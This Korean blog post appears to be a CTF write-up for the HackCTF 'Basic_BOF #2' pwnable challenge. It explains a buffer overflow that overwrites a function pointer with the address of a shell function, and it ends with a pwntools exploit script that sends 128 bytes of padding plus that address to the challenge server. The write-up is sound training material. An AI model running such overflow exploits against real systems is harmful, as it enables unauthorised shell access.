[HackCTF] Basic_BOF #2 풀이 (100p)
Wargame/HackCTF

[HackCTF] Basic_BOF #2 풀이 (100p)

 

 

문제 종류 - Pwnable
사용한 툴 - IDA

nc ctf.j0n9hyun.xyz 3001

 

풀이

똑같이 IDA로 열어보자. main 함수는 다음과 같다.

v5를 함수 포인터로 받고 133칸을 fgets로 입력받는다.

그 후, v5(sup) 함수를 실행하고 프로그램을 종료한다.

그런데, v5 함수는 puts로 s를 다시 출력하는 역할만 수행한다.

v5 함수를 이용해 뭔가 하는 건 아닌 거 같고, 대신 shell 함수를 통해 쉘을 실행하는 듯하다.

이제 gdb로 까보도록 하자.

정상적인 로직이라면, ebp-0xc에 v5 함수 시작 주소를 넣고 call을 이용해 eax(ebp-0xc 즉, 함수 시작 주소)를 실행한다.

그러나, 입력을 받는 부분을 이용해 ebp-0xc를 shell 함수의 시작 주소로 덮어 버린다면? shell이 실행될 것이다.

0x8c - 0xc (128칸)만큼을 dummy 값으로 덮고, 4byte를 shell의 시작 주소인 0x0804849b로 수정해보자.

 

다음은, 페이로드이다.

 1 from pwn import *
 2
 3 p = remote("ctf.j0n9hyun.xyz", 3001)
 4 payload = 'A'*128 + '\x9b\x84\x04\x08'
 5 p.sendline(payload)
 6 p.interactive()

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] 달라란 침공 풀이 (150p)  (0) 2020.07.14
[HackCTF] Basic FSB 풀이 (100p)  (0) 2020.07.14
[HackCTF] Basic_BOF #1 풀이 (100p)  (0) 2020.07.14
[HackCTF] static 풀이 (250p)  (0) 2020.07.13
[HackCTF] Keygen 풀이 (200p)  (0) 2020.07.12